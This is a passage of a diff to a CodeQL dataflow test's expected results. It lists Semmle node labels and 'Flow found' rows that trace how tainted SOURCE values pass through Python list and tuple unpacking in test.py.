ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 1] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:567:5:567:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:567:7:567:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:567:7:567:16 | IterableElement | semmle.label | IterableElement | +| test.py:567:11:567:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:567:15:567:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:567:28:567:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | +| test.py:568:10:568:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:569:12:569:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:570:10:570:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:575:6:575:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:575:6:575:17 | IterableElement | semmle.label | IterableElement | +| test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:575:6:575:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:575:7:575:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:575:11:575:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:575:15:575:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:575:28:575:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | +| test.py:576:10:576:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:577:12:577:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:578:10:578:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:12:584:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, List element, Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | +| test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | +| test.py:587:6:587:14 | IterableElement | semmle.label | IterableElement | +| test.py:587:6:587:14 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:587:6:587:14 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:587:7:587:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:587:7:587:8 | SSA variable a1 [List element] | semmle.label | SSA variable a1 [List element] | +| test.py:587:7:587:8 | SSA variable a1 [Tuple element at index 0] | semmle.label | SSA variable a1 [Tuple element at index 0] | +| test.py:587:11:587:13 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:587:11:587:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | +| test.py:587:11:587:13 | SSA variable a2 [Tuple element at index 0] | semmle.label | SSA variable a2 [Tuple element at index 0] | +| test.py:587:17:587:18 | ControlFlowNode for Starred [List element, List element] | semmle.label | ControlFlowNode for Starred [List element, List element] | +| test.py:587:17:587:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [List element, Tuple element at index 0] | +| test.py:587:17:587:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | +| test.py:587:17:587:18 | SSA variable b [List element] | semmle.label | SSA variable b [List element] | +| test.py:587:17:587:18 | SSA variable b [Tuple element at index 0] | semmle.label | SSA variable b [Tuple element at index 0] | +| test.py:587:23:587:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | +| test.py:588:10:588:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:589:12:589:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:590:10:590:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:590:10:590:11 | ControlFlowNode for a2 [Tuple element at index 0] | semmle.label | ControlFlowNode for a2 [Tuple element at index 0] | +| test.py:590:10:590:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:591:12:591:13 | ControlFlowNode for a1 [List element] | semmle.label | ControlFlowNode for a1 [List element] | +| test.py:591:12:591:13 | ControlFlowNode for a1 [Tuple element at index 0] | semmle.label | ControlFlowNode for a1 [Tuple element at index 0] | +| test.py:591:12:591:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:593:12:593:12 | ControlFlowNode for b [List element] | semmle.label | ControlFlowNode for b [List element] | +| test.py:593:12:593:12 | ControlFlowNode for b [Tuple element at index 0] | semmle.label | ControlFlowNode for b [Tuple element at index 0] | +| test.py:593:12:593:15 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:596:7:596:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:597:10:597:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, List element, Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 1, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 1, Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | +| test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:605:7:605:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:605:7:605:8 | SSA variable a1 [Tuple element at index 0] | semmle.label | SSA variable a1 [Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [List element, Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | +| test.py:605:7:605:13 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:605:11:605:13 | SSA variable a2 [Tuple element at index 0] | semmle.label | SSA variable a2 [Tuple element at index 0] | +| test.py:605:17:605:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [List element, Tuple element at index 0] | +| test.py:605:17:605:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | +| test.py:605:17:605:18 | SSA variable b [Tuple element at index 0] | semmle.label | SSA variable b [Tuple element at index 0] | +| test.py:605:23:605:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | +| test.py:606:10:606:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:608:10:608:11 | ControlFlowNode for a2 [Tuple element at index 0] | semmle.label | ControlFlowNode for a2 [Tuple element at index 0] | +| test.py:608:10:608:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:609:12:609:13 | ControlFlowNode for a1 [Tuple element at index 0] | semmle.label | ControlFlowNode for a1 [Tuple element at index 0] | +| test.py:609:12:609:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:611:12:611:12 | ControlFlowNode for b [Tuple element at index 0] | semmle.label | ControlFlowNode for b [Tuple element at index 0] | +| test.py:611:12:611:15 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:614:6:614:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | +| test.py:614:6:614:14 | IterableElement | semmle.label | IterableElement | +| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:614:7:614:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:614:11:614:13 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:615:10:615:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:616:12:616:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:692:16:692:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | #select | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | @@ -640,43 +832,70 @@ nodes | test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | -| test.py:549:10:549:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:549:10:549:13 | ControlFlowNode for Subscript | Flow found | -| test.py:549:10:549:13 | ControlFlowNode for Subscript | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:549:10:549:13 | ControlFlowNode for Subscript | Flow found | -| test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | -| test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | -| test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | -| test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | -| test.py:560:12:560:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:560:12:560:13 | ControlFlowNode for a2 | Flow found | -| test.py:560:12:560:13 | ControlFlowNode for a2 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:560:12:560:13 | ControlFlowNode for a2 | Flow found | -| test.py:560:12:560:13 | ControlFlowNode for a2 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:560:12:560:13 | ControlFlowNode for a2 | Flow found | -| test.py:560:12:560:13 | ControlFlowNode for a2 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:560:12:560:13 | ControlFlowNode for a2 | Flow found | -| test.py:561:10:561:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:561:10:561:11 | ControlFlowNode for a3 | Flow found | -| test.py:561:10:561:11 | ControlFlowNode for a3 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:561:10:561:11 | ControlFlowNode for a3 | Flow found | -| test.py:561:10:561:11 | ControlFlowNode for a3 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:561:10:561:11 | ControlFlowNode for a3 | Flow found | -| test.py:561:10:561:11 | ControlFlowNode for a3 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:561:10:561:11 | ControlFlowNode for a3 | Flow found | -| test.py:567:10:567:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:567:10:567:11 | ControlFlowNode for a1 | Flow found | -| test.py:567:10:567:11 | ControlFlowNode for a1 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:567:10:567:11 | ControlFlowNode for a1 | Flow found | -| test.py:567:10:567:11 | ControlFlowNode for a1 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:567:10:567:11 | ControlFlowNode for a1 | Flow found | -| test.py:567:10:567:11 | ControlFlowNode for a1 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:567:10:567:11 | ControlFlowNode for a1 | Flow found | -| test.py:568:12:568:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:568:12:568:13 | ControlFlowNode for a2 | Flow found | -| test.py:568:12:568:13 | ControlFlowNode for a2 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:568:12:568:13 | ControlFlowNode for a2 | Flow found | -| test.py:568:12:568:13 | ControlFlowNode for a2 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:568:12:568:13 | ControlFlowNode for a2 | Flow found | -| test.py:568:12:568:13 | ControlFlowNode for a2 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:568:12:568:13 | ControlFlowNode for a2 | Flow found | -| test.py:569:10:569:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:569:10:569:11 | ControlFlowNode for a3 | Flow found | -| test.py:569:10:569:11 | ControlFlowNode for a3 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:569:10:569:11 | ControlFlowNode for a3 | Flow found | -| test.py:569:10:569:11 | ControlFlowNode for a3 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:569:10:569:11 | ControlFlowNode for a3 | Flow found | -| test.py:569:10:569:11 | ControlFlowNode for a3 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:569:10:569:11 | ControlFlowNode for a3 | Flow found | -| test.py:575:10:575:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:575:10:575:11 | ControlFlowNode for a1 | Flow found | -| test.py:575:10:575:11 | ControlFlowNode for a1 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:575:10:575:11 | ControlFlowNode for a1 | Flow found | -| test.py:575:10:575:11 | ControlFlowNode for a1 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:575:10:575:11 | ControlFlowNode for a1 | Flow found | -| test.py:575:10:575:11 | ControlFlowNode for a1 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:575:10:575:11 | ControlFlowNode for a1 | Flow found | -| test.py:576:12:576:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:576:12:576:13 | ControlFlowNode for a2 | Flow found | -| test.py:576:12:576:13 | ControlFlowNode for a2 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:576:12:576:13 | ControlFlowNode for a2 | Flow found | -| test.py:576:12:576:13 | ControlFlowNode for a2 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:576:12:576:13 | ControlFlowNode for a2 | Flow found | -| test.py:576:12:576:13 | ControlFlowNode for a2 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:576:12:576:13 | ControlFlowNode for a2 | Flow found | -| test.py:577:10:577:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:577:10:577:11 | ControlFlowNode for a3 | Flow found | -| test.py:577:10:577:11 | ControlFlowNode for a3 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:577:10:577:11 | ControlFlowNode for a3 | Flow found | -| test.py:577:10:577:11 | ControlFlowNode for a3 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:577:10:577:11 | ControlFlowNode for a3 | Flow found | -| test.py:577:10:577:11 | ControlFlowNode for a3 | test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:577:10:577:11 | ControlFlowNode for a3 | Flow found | -| test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | Flow found | -| test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | test.py:651:16:651:21 | ControlFlowNode for SOURCE | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:549:12:549:12 | ControlFlowNode for b | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:549:12:549:12 | ControlFlowNode for b | Flow found | +| test.py:549:12:549:12 | ControlFlowNode for b | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:549:12:549:12 | ControlFlowNode for b | Flow found | +| test.py:549:12:549:12 | ControlFlowNode for b | test.py:546:18:546:23 | ControlFlowNode for SOURCE | test.py:549:12:549:12 | ControlFlowNode for b | Flow found | +| test.py:550:10:550:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:550:10:550:13 | ControlFlowNode for Subscript | Flow found | +| test.py:550:10:550:13 | ControlFlowNode for Subscript | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:550:10:550:13 | ControlFlowNode for Subscript | Flow found | +| test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | +| test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | +| test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | +| test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | +| test.py:561:12:561:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:561:12:561:13 | ControlFlowNode for a2 | Flow found | +| test.py:561:12:561:13 | ControlFlowNode for a2 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:561:12:561:13 | ControlFlowNode for a2 | Flow found | +| test.py:561:12:561:13 | ControlFlowNode for a2 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:561:12:561:13 | ControlFlowNode for a2 | Flow found | +| test.py:561:12:561:13 | ControlFlowNode for a2 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:561:12:561:13 | ControlFlowNode for a2 | Flow found | +| test.py:562:10:562:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:562:10:562:11 | ControlFlowNode for a3 | Flow found | +| test.py:562:10:562:11 | ControlFlowNode for a3 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:562:10:562:11 | ControlFlowNode for a3 | Flow found | +| test.py:562:10:562:11 | ControlFlowNode for a3 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:562:10:562:11 | ControlFlowNode for a3 | Flow found | +| test.py:562:10:562:11 | ControlFlowNode for a3 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:562:10:562:11 | ControlFlowNode for a3 | Flow found | +| test.py:568:10:568:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:568:10:568:11 | ControlFlowNode for a1 | Flow found | +| test.py:568:10:568:11 | ControlFlowNode for a1 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:568:10:568:11 | ControlFlowNode for a1 | Flow found | +| test.py:568:10:568:11 | ControlFlowNode for a1 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:568:10:568:11 | ControlFlowNode for a1 | Flow found | +| test.py:568:10:568:11 | ControlFlowNode for a1 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:568:10:568:11 | ControlFlowNode for a1 | Flow found | +| test.py:569:12:569:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:569:12:569:13 | ControlFlowNode for a2 | Flow found | +| test.py:569:12:569:13 | ControlFlowNode for a2 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:569:12:569:13 | ControlFlowNode for a2 | Flow found | +| test.py:569:12:569:13 | ControlFlowNode for a2 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:569:12:569:13 | ControlFlowNode for a2 | Flow found | +| test.py:569:12:569:13 | ControlFlowNode for a2 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:569:12:569:13 | ControlFlowNode for a2 | Flow found | +| test.py:570:10:570:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:570:10:570:11 | ControlFlowNode for a3 | Flow found | +| test.py:570:10:570:11 | ControlFlowNode for a3 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:570:10:570:11 | ControlFlowNode for a3 | Flow found | +| test.py:570:10:570:11 | ControlFlowNode for a3 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:570:10:570:11 | ControlFlowNode for a3 | Flow found | +| test.py:570:10:570:11 | ControlFlowNode for a3 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:570:10:570:11 | ControlFlowNode for a3 | Flow found | +| test.py:576:10:576:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:576:10:576:11 | ControlFlowNode for a1 | Flow found | +| test.py:576:10:576:11 | ControlFlowNode for a1 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:576:10:576:11 | ControlFlowNode for a1 | Flow found | +| test.py:576:10:576:11 | ControlFlowNode for a1 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:576:10:576:11 | ControlFlowNode for a1 | Flow found | +| test.py:576:10:576:11 | ControlFlowNode for a1 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:576:10:576:11 | ControlFlowNode for a1 | Flow found | +| test.py:577:12:577:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:577:12:577:13 | ControlFlowNode for a2 | Flow found | +| test.py:577:12:577:13 | ControlFlowNode for a2 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:577:12:577:13 | ControlFlowNode for a2 | Flow found | +| test.py:577:12:577:13 | ControlFlowNode for a2 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:577:12:577:13 | ControlFlowNode for a2 | Flow found | +| test.py:577:12:577:13 | ControlFlowNode for a2 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:577:12:577:13 | ControlFlowNode for a2 | Flow found | +| test.py:578:10:578:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:578:10:578:11 | ControlFlowNode for a3 | Flow found | +| test.py:578:10:578:11 | ControlFlowNode for a3 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:578:10:578:11 | ControlFlowNode for a3 | Flow found | +| test.py:578:10:578:11 | ControlFlowNode for a3 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:578:10:578:11 | ControlFlowNode for a3 | Flow found | +| test.py:578:10:578:11 | ControlFlowNode for a3 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:578:10:578:11 | ControlFlowNode for a3 | Flow found | +| test.py:588:10:588:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:588:10:588:11 | ControlFlowNode for a1 | Flow found | +| test.py:588:10:588:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:588:10:588:11 | ControlFlowNode for a1 | Flow found | +| test.py:589:12:589:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:589:12:589:13 | ControlFlowNode for a2 | Flow found | +| test.py:589:12:589:13 | ControlFlowNode for a2 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:589:12:589:13 | ControlFlowNode for a2 | Flow found | +| test.py:590:10:590:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:590:10:590:14 | ControlFlowNode for Subscript | Flow found | +| test.py:590:10:590:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:590:10:590:14 | ControlFlowNode for Subscript | Flow found | +| test.py:591:12:591:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:591:12:591:16 | ControlFlowNode for Subscript | Flow found | +| test.py:591:12:591:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:591:12:591:16 | ControlFlowNode for Subscript | Flow found | +| test.py:593:12:593:15 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:593:12:593:15 | ControlFlowNode for Subscript | Flow found | +| test.py:593:12:593:15 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:593:12:593:15 | ControlFlowNode for Subscript | Flow found | +| test.py:597:10:597:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:597:10:597:11 | ControlFlowNode for a1 | Flow found | +| test.py:597:10:597:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:597:10:597:11 | ControlFlowNode for a1 | Flow found | +| test.py:606:10:606:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:606:10:606:11 | ControlFlowNode for a1 | 